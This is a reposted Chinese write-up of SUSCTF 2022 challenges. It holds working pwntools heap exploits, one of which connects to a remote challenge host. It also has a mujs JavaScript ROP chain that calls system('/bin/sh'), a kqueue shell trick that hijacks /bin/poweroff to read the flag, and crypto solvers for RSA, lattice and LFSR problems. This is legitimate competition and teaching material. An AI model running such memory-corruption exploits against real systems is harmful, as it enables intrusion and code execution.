        libc = target.libc
    assert isinstance(elf, ELF)
    assert isinstance(libc, ELF)
    try_count = 0
    while try_count < 3:
        try_count += 1
        try:
            pwn(sh, elf, libc)
            break
        except KeyboardInterrupt:
            break
        except EOFError:
            sh.close()
            if target is not None:
                sh = target.get_sh()
                target.sh = sh
                if target.connect_fail:
                    return 'ERROR : Can not connect to target server!'
            else:
                sh = get_sh()
    flag = get_flag(sh)
    return flag

def choice(idx):
    sh.sendlineafter("ch> ", str(idx))


def config(screen_height, screen_width, font_color, back_color, rainfall, table):
    choice(1)
    buf = p32(screen_height) + p32(screen_width) + (p8(font_color) + p8(back_color)) + p32(rainfall)
    buf = buf.ljust(18, '\x00')
    buf += table
    sh.sendafter("FRAME> ", buf)


def print_info():
    choice(2)


def rain():
    choice(3)



def pwn(sh, elf, libc):
    context.log_level = "debug"
    config(0, 0, 0, 0, 0, "a" * 0x40)
    rain()
    config(0, 0, 0, 0, 0, "a" * 0x68)
    config(0, 0, 1, 1, 0, "")
    config(0, 0, 1, 1, 0, "")
    print_info()
    sh.recvuntil('Table:            ')
    heap_offset = u64(sh.recvuntil('\n\n', drop=True).ljust(8, '\x00'))
    log.success("heap_offset:\t" + hex(heap_offset))
    config(0, 0, 1, 1, 0, p64(heap_offset + 0x8db0).ljust(0x68, 'a'))
    rain()
    config(0, 0, 1, 1, 0, 'a' * 0x68)
    rain()
    stdout_addr = 0x603020
    print_addr = 0x400E17
    node_buf = p32(0) + p32(0) + p64(0) + p64(0) + p64(0) + p32(0) + p32(0) + p64(print_addr) + p64(stdout_addr) + p64(stdout_addr) + '\x00' * 8 + p64(0x31) + '\x00' * 0x18
    config(0, 0, 1, 1, 0, node_buf)
    print_info()
    libc_base = get_address(sh, True, offset=-0x3ec760)
    one_gadget = [0x4f365, 0x4f3c2, 0x10a45c]
    node_buf2 = p32(0) + p32(0) + p64(0) + p64(0) + p64(0) + p32(0) + p32(0) + p64(libc_base + one_gadget[2]) + p64(stdout_addr) + p64(stdout_addr)
    #gdb.attach(sh, "b realloc")
    config(0, 0, 1, 1, 0, node_buf2)
    print_info()
    sh.interactive()


if __name__ == "__main__":
    sh = get_sh()
    flag = Attack(elf=get_file(), libc=get_libc())
    sh.close()
    if flag != "":
        log.success('The flag is ' + re.search(r'flag{.+}', flag).group())

mujs

dv = new DataView(0x68);
dv2 = new DataView(0x68);
dv3 = new DataView(0x68);
dv4 = new DataView(0x68);
for (var i = 0; i < 8; i++)
    dv.setUint8(i, 0x61);
dv3.setUint8(0x68, 0x81);
dv3.setUint8(0x69, 0x01);

for (var i = 0; i < 8; i++)
    dv2.setUint8(i, 0x61);

delete(dv2);
delete(dv3);
//delete(dv4);
//delete(dv);


dv5 = new DataView(0x178);
dv5.setUint8(0x128, 0x51);



var t3 = dv5.getUint32(0x138) - 0x470a0
var t4 = dv5.getUint32(0x138 + 0x4)


dv5.setUint32(0x48, 0x71);
dv5.setUint32(0x50, 0x10);
dv5.setUint32(0x54, 0x1);

dv5.setUint32(0x58, t3 + 0x470a0);
dv5.setUint32(0x58 + 0x4, t4);

var t1 = dv5.getUint32(0x140) - 0x20960
var t2 = dv5.getUint32(0x140 + 0x4)
print(t1)
print(t2)
dv5.setUint32(0x68, t1 + 0x7780);
dv5.setUint32(0x68 + 0x4, t2);
dv5.setUint8(0x70, 0x68);

dv5.setUint32(0x78, t3 + 0x472a0);
dv5.setUint32(0x78 + 0x4, t4);

var t5 = dv4.getUint32(0) - 0x1ec6a0
var t6 = dv4.getUint32(0 + 4)
print(dv4.getLength())
print(t3)
print(t4)

print(t5)
print(t6)

dv5.setUint32(0x78, t5 + 0x1ef2e0);
dv5.setUint32(0x78 + 0x4, t6);

var t7 = dv4.getUint32(0) - 0x108
var t8 = dv4.getUint32(0 + 4)

dv5.setUint32(0x78, t7);
dv5.setUint32(0x78 + 0x4, t8);


var pop_rdi_addr = t5 + 0x26b72
var system_addr = t5 + 0x55410
var bin_sh_addr = t5 + 0x1b75aa

dv4.setUint32(0, pop_rdi_addr + 1)
dv4.setUint32(0 + 4, t6)

dv4.setUint32(8, pop_rdi_addr)
dv4.setUint32(8 + 4, t6)

dv4.setUint32(0x10, bin_sh_addr)
dv4.setUint32(0x10 + 4, t6)

dv4.setUint32(0x18, system_addr)
dv4.setUint32(0x18 + 4, t6)


//while (true);

kqueue

非预期

mv /bin /BIN && /BIN/mkdir /bin && /BIN/chmod 777 /bin && /BIN/echo "/BIN/cat /flag" > /bin/poweroff && /BIN/chmod 777 /bin/poweroff
exit

kqueue revenge

flag在附件里

happytree

用 malloc 和 free 写了一个树。先泄露 heap 地址,然后造一个 unsorted bin 泄露 libc 地址。然后直接 double free 打 __free_hook 即可。

from pwn import *
REMOTE = 1
LD_ = 0
if REMOTE:
    p = remote("124.71.147.225",9999)
elif LD_:
    p = process("./happytree",env={"LD_PRELOAD":"./libc.so.6"})
else:
    p = process("./happytree")
libc = ELF("./libc.so.6")

menu = lambda x : p.sendlineafter("cmd>",str(x))

def add1(size):
    menu(1)
    p.sendlineafter("data:", str(size))
def add(size,con):
    menu(1)
    p.sendlineafter("data:", str(size))
    p.sendafter("content:",con)

def delete(size):
    menu(2)
    p.sendlineafter("data:", str(size))
def show(size):
    menu(3)
    p.sendlineafter("data:", str(size))


for i in range(8):
    add(0xf0+i,"wsnd")
for i in reversed(range(8)):
    delete(0xf0+i)
for i in range(6):
    add(0xf0+i,"a")
show(0xf0)
p.recvuntil("content: ")
heap_base = u64(p.recv(6).ljust(8,'\x00'))-0x12161
success("heap_base = "+hex(heap_base))
add(0xf6,'nmsl')
add(0xf7,"wsndwsnd")
show(0xf7)
libc_base = u64(p.recvuntil("\x7f")[-6:].ljust(8,'\x00'))-0x3ebca0
success("libc_base = "+hex(libc_base))
for i in reversed(range(8)):
    delete(0xf0+i)
add1(0x100000)
add(0x63,'nmsl')
add(0x60,"wsnd")
delete(0x63)
add(0x63,'nmsl')
delete(0x63)
delete(0x60)
delete(0x100000)
add(0x20,'wsnd\x00\x00\x00\x00'+p64(0x12060+heap_base)+p64(0)*2)

delete(0x646e7377)
add(0x60,p64(libc_base+libc.sym["__free_hook"]-8))
add(0x61,p64(libc_base+libc.sym["__free_hook"]-8))
add(0x62,"/bin/sh\x00"+p64(libc_base+libc.sym["system"]))
delete(0x62)
p.interactive()

Crypto

large case

$假设e=d1*d2*d3 \quad d1,d2,d3分别是p-1,q-1,r-1因子$

$m 的后1024bit全部是0,拿掉后1024bit后,1024<len(m)<2048,可以把域转化为p*q下$

$M=m//2^{1024}$

$M^e\equiv c//2^{1024*e} \quad mod\quad p*q*r$

$M_{1}^{e}\equiv M^e \quad mod \quad p$

$M_{2}^{e}\equiv M^e \quad mod \quad q$

$可以求出M_{1}^{d1} \quad mod \quad p$

$可以求出M_{2}^{d2} \quad mod \quad q$

分别使用AMM算法求出所有的根之后,使用CRT依次遍历求出M

使用factordb分解,发现最小的第一组因子就是正确的

from Crypto.Util.number import *
import gmpy2
from libnum import  *
import random
import math
from scipy.special import cbrt
import time

def onemod(e,q):
    p=random.randint(1,q-1)
    while(pow(p,(q-1)//e,q)==1):
         p=random.randint(1,q)
    return p

def AMM_rth(o,r,q):
    print('start to calculate primitive root...')
    start=time.time()
    assert((q-1)%r==0)
    p=onemod(r,q)
    print ('p:%d'%p)

    t=0
    s=q-1
    while(s%r==0):
        s=s//r
        t+=1
    k=1    
    while((s*k+1)%r!=0):
        k+=1
    alp=(s*k+1)//r

    print ('s:%d,t:%d r:%d alp:%d'%(s,t,r,alp))
    a=pow(p,r**(t-1)*s,q)
    b=pow(o,r*a-1,q)
    c=pow(p,s,q)
    h=1

    for i in range(1,t-1):
        d=pow(int(b),r**(t-1-i),q)
        print ('d:%d'%d)
        if d==1:
            j=0
        else:
            j=(-math.log(d,a))%r
        b=(b*(c**(r*j)))%q
        h=(h*c**j)%q
        c=(c*r)%q
    result=(pow(o,alp,q)*h)
    end=time.time()

    print ('result:%d'%result)
    print('Finish in {} seconds'.format(end-start))
    return result



def ALL_Solution(m,q,rt,cq,e):
    print('start to calculate all root...')
    start=time.time()
    mp=[]
    for pr in rt:
        r=(pr*m)%q
        assert(pow(r,e,q)==cq)
        mp.append(r)
    end=time.time()
    print('Finish in {} seconds'.format(end-start))
    return mp

def ALL_ROOT2(r,q):
    print('start to find all primitive root...')
    start=time.time()
    li=set()
    while(len(li)<r):
        p=pow(random.randint(1,q-1),(q-1)//r,q)
        li.add(p)
    end=time.time()
    print('Finish in {} seconds'.format(end-start))
    return li


if __name__=='__main__':
    d1=757
    d2=66553
    d3=5156273
    e=d1*d2*d3
    c=2832775557487418816663494645849097066925967799754895979829784499040437385450603537732862576495758207240632734290947928291961063611897822688909447511260639429367768479378599532712621774918733304857247099714044615691877995534173849302353620399896455615474093581673774297730056975663792651743809514320379189748228186812362112753688073161375690508818356712739795492736743994105438575736577194329751372142329306630950863097761601196849158280502041616545429586870751042908365507050717385205371671658706357669408813112610215766159761927196639404951251535622349916877296956767883165696947955379829079278948514755758174884809479690995427980775293393456403529481055942899970158049070109142310832516606657100119207595631431023336544432679282722485978175459551109374822024850128128796213791820270973849303929674648894135672365776376696816104314090776423931007123128977218361110636927878232444348690591774581974226318856099862175526133892
    c=c*invert(pow(2**1024,e,n),n)%n
    c=c%(p*q)
    cp=c%p
    cq=c%q
    D1=invert(e//d2//d3,(p-1))
    D2=invert(e//d1//d3,(q-1))
    m1=pow(c,D1,p)
    m2=pow(c,D2,q)
    mp=AMM_rth(m1,d1,p)
    mq=AMM_rth(m2,d2,q)
    rt1=ALL_ROOT2(d1,p)
    rt2=ALL_ROOT2(d2,q)
    amp=ALL_Solution(mp,p,rt1,cp,d1)
    amq=ALL_Solution(mq,q,rt2,cq,d2)
    for i in amp:
        for j in amq:
            res=CRT([i,j],[p,q])
            m=long_to_bytes(res)
            if b'CTF' in m:
                print(m)

InverseProblem

放大A,b变为lwe问题

import numpy as np
def gravity(n,d=0.25):
    A=np.zeros([n,n])
    for i in range(n):
        for j in range(n):
            A[i,j]=d/n*(d**2+((i-j)/n)**2)**(-1.5)
    return A
A=gravity(85)
A=A*10000000000000000000000000000
for i in range(85):
    for j in range(85):
        A[i][j]=int(A[i][j])

f=open("b.txt").readlines()
b=[]
for i in f:
    b.append(eval(i.strip()))
b=np.array(b)
b=b*10000000000000000000000000000
for i in range(85):
    b[i]=int(b[i])
M=[]
for i in range(85):
    l=[]
    l[:]=A[i][:]
    l.append(0)
    M.append(l)
l=[]
l[:]=b[:]
l.append(1000)
M.append(l)
M=matrix(QQ,M)
r=(M.LLL()[0])
r=matrix(QQ,r)
t=r*M**-1
for i in range(85):
    print(-t[0][i],end=',')

Ez_Pager_Tiper

problem1 爆破seed2求mask2

problem2 爆破seed3永BM求所有的seed1和mask1,然后筛选一下即可

from Crypto.Util.number import *
from base64 import b64decode
from magic_box import *
from tqdm import tqdm
n1, n2 = 64, 12

passage = b"Dat"
seed2 = ''
ifile = open("MTk4NC0wNC0wMQ==_6d30.enc", "rb")
cipher1 = ifile.read()
for i in range(3):
    num = cipher1[i] ^ passage[i]
    # print(bin(num)[2:].zfill(8))
    seed2 += bin(num)[2:].zfill(8)
# print(seed2)

# for mask2 in range(1<<12):
#     lfsr2 = lfsr(int(seed2,2), mask2, n2)
#     plain = b''
#     for i in range(3,16):
#         num = cipher1[i] ^ lfsr2.getrandbit(8)
#         plain += long_to_bytes(num)
#     try:
#         if plain.decode().isprintable():
#             print(plain, mask2)
#     except:
#         continue

mask2 = 2053
lfsr2 = lfsr(int(seed2,2), mask2, n2)
plain = b'Dat'
for i in range(3,len(cipher1)):
    num = cipher1[i] ^ lfsr2.getrandbit(8)
    plain += long_to_bytes(num)
# print(plain)
# print(b64decode(b'MTk4NC0xMi0yNQ=='))

ifile = open("MTk4NC0xMi0yNQ==_76ff.enc", "rb")
cipher2 = ifile.read()
cipher = ''
passage = b"Date: " + b64decode(b'MTk4NC0xMi0yNQ==')
for i in range(len(passage)):
    num = cipher2[i] ^ passage[i]
    cipher += bin(num)[2:].zfill(8)
# print(len(cipher))
# print(cipher)
# print(cipher2)

mask1 = 9223372036854775811
seed3 = 3054
num = "00000101111011000101010001011100011010000101000001011010100001000000011111100110101010110001000001010110101011011100111000000110"

lfsr1=lfsr(int(num[:64], 2), mask1, n1)
lfsr2=lfsr(seed3, mask2, n2)
lfsr2.getrandbit(64)
ciphergen = generator(lfsr1, lfsr2, 15193544052573546419)
plaintest = b'Date: 19'
for i in cipher2[8:]:
    num = i ^ ciphergen.getrandbit(8)
    plaintest += long_to_bytes(num)
print(plaintest)
from Crypto.Util.number import *
from tqdm import tqdm

class lfsr():
    def __init__(self, seed, mask, length):
        self.length_mask = 2 ** length - 1
        self.mask = mask & self.length_mask
        self.state = seed & self.length_mask

    def next(self):
        next_state = (self.state << 1) & self.length_mask
        i = self.state & self.mask & self.length_mask
        output = 0
        while i != 0:
            output ^^= (i & 1)
            i = i >> 1
        next_state ^^= output
        self.state = next_state
        return output

    def getrandbit(self, nbit):
        output = 0
        for _ in range(nbit):
            output = (output << 1) ^^ self.next()
        return output

def BM(output):
    F=GF(2)
    r=[]
    for i in output:
        r.append(int(i))
    x=[F(i) for i in r]
    X=[]
    for i in range(64):
        s=[]
        for j in range(64):
            s.append(x[i+j])
        X.append(s)
    X=matrix(X)
    S=[F(i) for i in r[-64:]]
    S=matrix(S)
    if(X.rank() != 64):
        return 0
    c=S*X**-1
    mask=''
    for i in c[0]:
        mask+=str(i)
    mask=(int(mask,2))
    return mask

ciphertext = b'\x18\xff\xa57\xa65"\x00\xfd/\x8d\x06\xe7z\xa4\xe6\t$\xec\x94$`\xaalB\xb6\x90`\x9e\'7\x9f\xcca\xaa1\x96\x19\t\xa2\xb8U\xde\xc5\xa0\xc7\xd23\xcd\xa0\xafRHP\x90\x8a\xa9M\x17@\xef8:]\xe1\xdc\x10\xad\xdfI\x04=\x01\x82\x1a\xec\x1e\x19\xdaV\x95\xc1K\x86\xfdZ\x90O7r\xeeZCewY8\xf1\x80\x81\x16NC\x94\xb0\xa0<\xd5\xc9\x1a\xeb.\xf6\xaa\xbb\xa6\x9a<t\xce\xdcQ$\xfdK\x89v\xee\xe0\x9dc\x9b6\xe6\xf0\xc9\xb6[l\xd3\xdc\xf8\n\xb7\xc6\xf9^\x0eIr\'>\x1dD!\x83\xfd\xc6Q\xf9\xce\xee%\xa7l\xb9\xfc\xcc\xf9;\x0b\x04\xce\x07\x97\xae\xf5C\xa5\x96\xfeU\xe8\xfb\x06\x96\xe3Dr\x8a\xc8\xb7\xa0\xe4s\xe3\xac\x9dT\t\x0eL*Vys\x03\xbb\xf2$\xa8pR\x8c\xa8h\xf6\x04<I4@}\xe5\x12\x8d\x14\xbe\xe4\xb1\x86V`\xcf\x9bE\x8e\xf0m\xbd\xedP\xe3\xafo7\xbd\xb1\xb9R\x9a2*\xaabz@\xb2\xf9\xf59c\xf9\x13\xf12\x8b\xc2z\xda\xf4\x87\x130\xc2\x93\xf3\xce\x84\xe8q.\x01\xeec\xb1\x10X\xcd\x00\x91%\xb7|yW\xf2\xc4\xb3\x997\xc1\xb45\xe5)K \xfc\x93\x04\xee-\xf9\xc3\x06Js\xe1\tZ\x86=k8:\x17\x9e}\xb1$\xce\xaa\xbc\x05\x97d\x83c~\xf57\x02\x08\xa2\tHz\xecq\x07Y\xe6}\xf8\xf0\xaa\x00\x1e\x12f\xf5\xab\xf62u\x12\xf5\xcfx\xc3)B\xd4\xd1\x9dxX\x0b#\x9f\xf1\xa0"\xb9M\xe9\xcf\x17\xc9\\\xbf\xf3y\xb1E\xc0\xa1\x88\x83\x95\xa6\xc9\xde=Md\xaf\xb4\x14\x815;\x18X\x9bQ2\x86\xa0`x{\x18\xde\xean\xcd\xc3*y\x82\x8c\xe4l\x88\x96\xb7\x0e\x03u\xe7\xe8."!\xfb\xb1Bg\xea\xa2`\x99\xab\xa4d\xedA\x0e\x86\xd5\xaf5D\'\xcd3\xbf\xcd5\xb4\xc3^\xfe\x14t\x90\xf9\x01\x98\xd5~s\xdc\xa7\xb1\x8d\xf6\xd9\x92\xb9\xe0\x996?\x8f\\\x1d\xb2\x12\x97\xf6\x07;\xfaTL\x92.\xaf\x16$\xfa\x94\xcb0\xbf\x8a\xad](\xc6}K\xc87\xfc\xc9\xc6\xdb\x08\x99\x9f(<\x1e\x97\xe1\x00^\x13]\x16\xe13\xee\xebS1h\xdd\xe11n\x1a\xe6\x12\x01\xb5\x0c|\xf5\x8a\xbd=5S\xe4\xf9$\xf1\xedp\xce\x1f\x96.\x97\xe4;\x02 \x17&\xd7\xd9*\x1f\xa4u\xe6\xad\xfd\xbaIR\x1f\x1a=F\xbf\xf3\x07\x19!=\xf7\xd8/\xe4i\xc6+\x9c5^t\x7f\xb2\x06\xe8\xf2\xac=\x16\x00r\xdd\x7f\xe34w\xde)\x86\x82\xb6gj\xf4\xfa\x18Pd\xd9\x82\xcd\xda\xee\x8bv\xd1NKu\\\x04\xe2\xbbt\x94\x82\x11\xc9\x1d\xdd\xb1\xb5\x8c\x86\xbfg\xa8L\x1eI\xb4\xddF\x8b\xa7\xd1\x16\x9c\x80\x94UXS\x13\x91\xf8\xe6=\x15\x16\x9a,\x0b8\xd2\xfeE\xa04"\xaa1}\xc7\x93\x9f\xb2%p\xb4\x01\x17r*\xd5\xc6\xfd\xfb\xb0<\x18j\x86\xab\xe0\x17\xf2R\xdfZ\xc3Ty\xe9\xd2j\x8b\x15\t\xabrHwi~1K\x89\xebVZ\xec}\x1av\xc5\x90\xb7\xa5$k\xd3"\x05\xfa\xc6\x1d\xfe\xb5\x9e;#ig\xdd\xa3\x9b.[\x96\xf1r\x01D\xe7\xdeqkj%\x9cvU\xec\x04\xb0\xab\x9e4\x13\xd7\x07\xa8\xcarK<-\xd1x\xb7|\xdf\xc5c\x13R\xd9\x1b\xd8\xa0=F\xbc9\xf2\x8c\xfc\xe8KO\xb6bfv\xaf\xb3\x9c\xa4\x1f(\xc4O\xa9\x0f]x\x832\x89\xd9\xc77\x1fa0\xe4\xac\xa7AA\xc4\x14\x9cm\xd5\xf0\x02\xb4\x9c(ej\xdb\x88U\xa7!+\x83]N\xee\x8c\x87*\x84W\x12$\xfc\x0eEC\xcb\x14\x88\x1eEr\x12N\x8fY\xd6\x18\x8b^\x98z\xbf\x84\xc1\xc8!\x8a\x1a\xaaQ\x89aP\xadL\xa4w\xda\xb9WN\x90\xe1\x9e\xcf\x1fx\xc7\x84\xf4\x0f\x9a8Q\xcc-\xbasuc0\x988\xf8"\xecmFeI?\x13m1\x11D\xe3l\x0b\x16\xf7\xa4\x05[\xd0\xeac\x16\xc6\n`\xcf\xbcf\xda\xc6\xf8n\xbc\xea*\x857n\xb2\x91\x12#\xe0\xf9\x12\xc3\x83\x8f\xfb\x1b\xb2\xd8\xf6\x1fmwC\xaa\x8b\xaeV\xabQ\xd3\xe2\xd6\x1e\xf1u\xc5\xfd\x8a\xf7rw\'\x12\x95\x9dl:o\r\r\x13\xf9\x02\xab\'.{\xc0b\x9f\xc1.\xde\xeb\xce\xf1Cd\xbf\xdfOAMi\xc3\x96bhC\xc7\xa6\x1ch\x06X\xed\xafR\xda\x80\xee \x1c=\x92\xf9&\x8b\xbf\x7f\xf1^k[\x94\xd26C\xfe\x1fY16\xc8Q\x9f7`\xc1\xf8D_\xef\xbb$L>R)\xef\xd7\xf5\r\x91\x17@\x8dZ\xa0\x81\x8a<F+\x8d\xd5\n5/\x10\x0ed\xb4\xc1\xc0\xb8a\xe5\x81\x85}\x0f2\x90\xa4\xaeg\xb7\xe8#\xe85h"?\x90\x99\x7f\xe46\xf7y\xe1o\x1e5\xe6o\xda?!\xeb\xc2\x98\xcf\x98\xb0\x15\x01]E\xa5V\x032\xaa\x16\x83K*\xe3$\xcb\xfc\xe6\xb4\x8f\xa2\xa7\x900\x04G\xd8\x95\x98$\x9fN~\xb1\xa7\x0c\x8bGd\xa6\xa7\xe0F\xdd\xa2\xfbU\x9bE\xdc\x025\x1e\xfe\xc5v#\xb1Ft\xc1\x9c\x909\xd9\xb8\xe1h\xc1G*\x02c\xe5\xc7\x91q\x86/\xab\xfaS\xb9Tk\x90\xcc\x07\xb1\xa3E\x11e\x95fw\x02\xbfF\xb7j\x82\r\x92hD\x92\'FD\xb9\x9b\x0c\xc4%\xb6>:\x1cZ \xc7\x1b\xa9\x15h[\xff?\x88\xcd\xbb\xe5\xf6\xb3\xb6B\xac\xda\xcd\xa7h\x81 \xcd\xeeu@\xef\x92!\xe2Vr+\x1d\xa6\x83Z\xdb\xb7\x1a\xd7#$)\xf1\x1f\x82\xdd\x80A\x94W\xf4\xa1\xe7J$\xda\x02\xd4\xb6\xe5\x84\xbegH\xb9\xc2\xe3\x82\xc5\xfd\xb1\xe7!\xeb\xe0\xd1J\x94\x04\x7f\x81\xee\xafn\xe3\x0e;\x17\xb6\x18\x9e;\xca\xb6`\x89\xd0\'\x87\xff\xcc \xf4yW#*j\x00ad\x9f.5/\xfc\tx1\xa6\xf7V.]\xfa\xec\xc9\x93\x87\x9a;\xb4\xe0\x0eC\x98<5\x14a\xb1c\xaa\x91\x08O\xbaIz*Y\xf0\t\x8e\x96\x92\xa8\x0b\xeb\xa7\xdep\xa2zl\xd6_\x05%\x96\xda\x9e"\x80\xeb\xf2bc\xfb\t\x1a\xe2h\xd1\x00tb|M\xf6\xd7\xc4.\xb5\xb1\xe3a\xa1\x96\x08\x9f\xa6:\xa8\xccouN^#fq\x03\xcan\x8cRJD6&\n\xda\xe0T\xf5\x18\xfcp\xcd\x8f`\xdcS\x10\x00;\xd2\xb2\x14\xbd\xe4xa\x88v\x03p\x83\xdeL\xb0\xa0\xe8D\x04\xdd~\xa0\xacR\xc6 \xe0\x83t\xbf\xbf\x1d#\xc4`\xbe\xc6\xd7\xf9Z\x08\x88Tm\x81\xd6f*\xdc\x13\x0e\xc7\xae-\xadSmQ\x02y\xa4.\xbe\x8b\xf4\xe7\x9c\xbd\xdc5\xc3\x98{Qw\xba\xeb\xf5\xc6jMy\xcaj\xd5\x01L8<c\xf0k\xd6p\xe7\x1cz\xffW72\xd3>Q\xe1\xab\xc3\x87tTW\xfdb\x88\x07Xu\xf8V\x92\x8e-\xffG\x80j\xd0/\x0e\xe1?W\x8f\xe7\xd2A\x80L\x19d\xce\xd0\xd4]\x00\x92\xde\xb9\xb3|\xda\x13mLQ_4\xbb1\xd3w\xa3f&\xd4=\xd6~/=\x83U\xb6W\xc7\x95\x95\x05\xcb\xe3\xde\xc1\x15\xc9\x9bB\xce\tH\\z\xc1\xf3c\xc1v\xca\xbd\x06,\xea\n\x03\x1b\x12!C\xefj\x97\x96K\x07O\xa9\x98\xca\t\x1e\xd9\xc5\x98=\x9cq\x80\xd0\xba?`\x14\x91\x8c\xa9\xab\x83\\\xa6\xb5>zq\xed\xc68\x0b\xba\xed\xda\xb2N\xfbI\xde\x8d\xb7\x1fu\xce\xf0[D\x9a\x8cW\xea\xd4\xebGz}\x81\xd4\xf4\'N\\\xceW\x96:E\x06\xed\xd3\x06\xf8\x18d\x9e\x0edW\xdcb\xe1\xea\x1c+I\xf8\xdc\xd4\xda\\r~\x96\xb9?yd\xd9\xb7}\xfb\x9ek\x85\xa84h\xf9\x8b\'(\xa9\xb4S\x87\xc7\x87\xa7\xf1\xdaIy\x95D\xfe\xe3\x90\xf0\x08\xf3\xfc\x00\x8e\x81\xc2k\xb8a3\xc1}@\x8d\\\xf9T\xfc\xb0J\xeb\x8f\x99\xc9~\x95_\x14\xdde\x1c\xaf\xbeG\xd8\xdc\x99))\xb5\x8f\xdd\xdc\x06O~(\x0c\xa1\x1d\xa5c4\xf9=~Z\xc2\xea5G\xed\x10\x85S\x00~\x0c*\x14$\xcb\x0b\x08$0\x89\x1e\xd6Qq\x81\x18_\xb0\xc9o\x81,_\x9c\xcfi\xb7\x86\xf1\xbd\xa8\xa2N\x84@~\xaf.\x9f\x89\xbd/\xc3n\xcd\xf1\xc0\x83\xbaQ\xe1,\x9c6"p]\xb5\xae\x835\xd1\xb6m\xe7M0&q\xb3\x91S\xd0o\xdbF\xbc<\x17{eP6\xc3c\x7fR\x9a\xacWd3?\xb6joQ\x1d\xb2_\xc1\x9d`\xb8\x08!\x97\xc3z3Y_\xb8@\x88\xecc\r\xc1\xb7y\x80'
ans = []
cipher = '01011100100111101101000101010010100111000001010100010011001110011100010100011011101000000011011111010101010101111001011011010011'
for seed3 in (range(1<<12)):
    lfsr3 = lfsr(seed3, 2053, 12)
    num = lfsr3.getrandbit(128)
    num ^^= int(cipher,2)
    num = bin(num)[2:].zfill(128)
    check2 = num[-64:]
    mask = BM(num)
    if mask == 0:
        continue

    lfsr1 = lfsr(int(num[:64], 2), mask, 64)
    check1 = bin(lfsr1.getrandbit(64))[2:].zfill(64)
    # print(check1, check2)
    if(check1 == check2):
        ans.append((seed3, mask, num))

def check(seed1, mask1, seed3, mask2, cipher):
    lfsr1 = lfsr(seed1, mask1, 64)
    lfsr2 = lfsr(seed3, mask2, 12)
    lfsr2.getrandbit(64)
    plain = b'Date: 19'
    for i in cipher:
        num = i ^^ lfsr1.getrandbit(8) ^^ lfsr2.getrandbit(8)
        plain += long_to_bytes(num)
    if plain == b'Date: 1984-12-25\r\n':
        print(plain)
        return True
    return False

for (seed3, mask, num) in tqdm(ans):
    if(check(int(num[:64], 2), mask, seed3, 2053, ciphertext[8:18])):
        print(mask, seed3, num)
        # break

FROM : wm-team.cn

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年9月13日22:06:39
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   SUSCTF 2022 By W&Mhttps://cn-sec.com/archives/3165692.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息